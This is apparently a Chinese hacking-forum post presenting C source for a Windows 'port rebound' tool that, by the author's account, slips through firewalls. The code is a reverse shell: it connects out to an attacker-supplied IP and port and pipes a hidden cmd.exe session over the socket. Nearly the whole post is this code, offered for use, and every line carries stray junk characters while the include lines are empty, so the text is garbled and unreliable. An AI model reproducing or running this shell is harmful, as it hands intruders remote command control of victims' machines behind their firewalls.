Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 b^D$jY  
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/* ============================== y2]-&]&  
Rebound port in Windows NT ydw)mT44K  
By wind,2006/7 X
U/QA [K  
===============================*/ M?b6'd9f  
#include aLJ(?8M@  
#include )ZrS{vY  
)o-Q!<*1  
#pragma comment(lib,"wsock32.lib") o?1;<gs  
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void OutputShell(); E0%~!b  
SOCKET sClient; s&\I=J.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .q&'&~!_  
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void main(int argc,char **argv) D+_oVob\  
{ ~4P%%b0,o  
WSADATA stWsaData; K=!Bh*  
int nRet; n,$IfC"  
SOCKADDR_IN stSaiClient,stSaiServer; [=B$5%A  
lWBb4 !l  
if(argc != 3) pV4Whq$  
{ 2I*;A5$N1  
printf("Useage:\n\rRebound DestIP DestPort\n"); fDG0BNLY  
return; |6=p{y  
} xI>A6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); l;y7]DO  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8 k3S  
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stSaiClient.sin_family = AF_INET; K\XH4kic  
stSaiClient.sin_port = htons(0); s w39\urf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >``MR%E:<  
F(na{<g};  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h?bb/T+'  
{ +w=AJdc  
printf("Bind Socket Failed!\n"); o9cM{ya/>  
return; h3dsd  
} &WNf M+
 
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stSaiServer.sin_family = AF_INET; ~T) Q$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u,}{I}x_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U|g:`v7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uV 7BK+[O  
{ @as"JAN  
printf("Connect Error!"); @+atBmt  
return; J|&JD?  
} ,V*%V;  
OutputShell(); R+&jD;U{
 
} ooUk O  
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void OutputShell() n_3O-X(  
{ t3dlS`O  
char szBuff[1024]; TLoz)&@  
SECURITY_ATTRIBUTES stSecurityAttributes; kOh{l: 2-+  
OSVERSIONINFO stOsversionInfo; Gs3LB/8?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #v<QbA  
STARTUPINFO stStartupInfo; MwmUgN"g  
char *szShell; 6252N]*  
PROCESS_INFORMATION stProcessInformation; wn)JXR  
unsigned long lBytesRead; TEDAb>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $H+VA@_  
}:Z#}8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H,N)4;F<c  
stSecurityAttributes.lpSecurityDescriptor = 0; =m5SK5vLKT  
stSecurityAttributes.bInheritHandle = TRUE; ?_I[,N?@41  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eds26(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bQ~j=\[r  
>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); irN6g#B?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <!pY$  
stStartupInfo.wShowWindow = SW_HIDE; !qX_I db\  
stStartupInfo.hStdInput = hReadPipe; B/` !K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;]_o4e6\p  
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GetVersionEx(&stOsversionInfo); =zyC-;r!  
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switch(stOsversionInfo.dwPlatformId) V*W;OiE_3  
{ <Qxh)@ N  
case 1: H@ t'~ZO
 
szShell = "command.com"; o1<_
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break; }N*_KzPIa  
default: }<dRj  
szShell = "cmd.exe"; ~i`>adJ:  
break; =2@
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} Yot?=T};3{  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nxr!`^Mne  
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send(sClient,szMsg,77,0); b!)<-|IK  
while(1) TC<@e<-%Sq  
{ C:H
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zfy
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if(lBytesRead) qG<$Ajiin  
{ &gjF4~W]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T8^5=/  
send(sClient,szBuff,lBytesRead,0); < P`u}  
} 4Z/f@ZD  
else ",!1m7[wF  
{ :sCqjz  
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; #vry0i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _U/!4A  
} EOm:!D\  
} h(5P(`
M  
{#{DH?=^)u  
return; *V+j%^91}  
}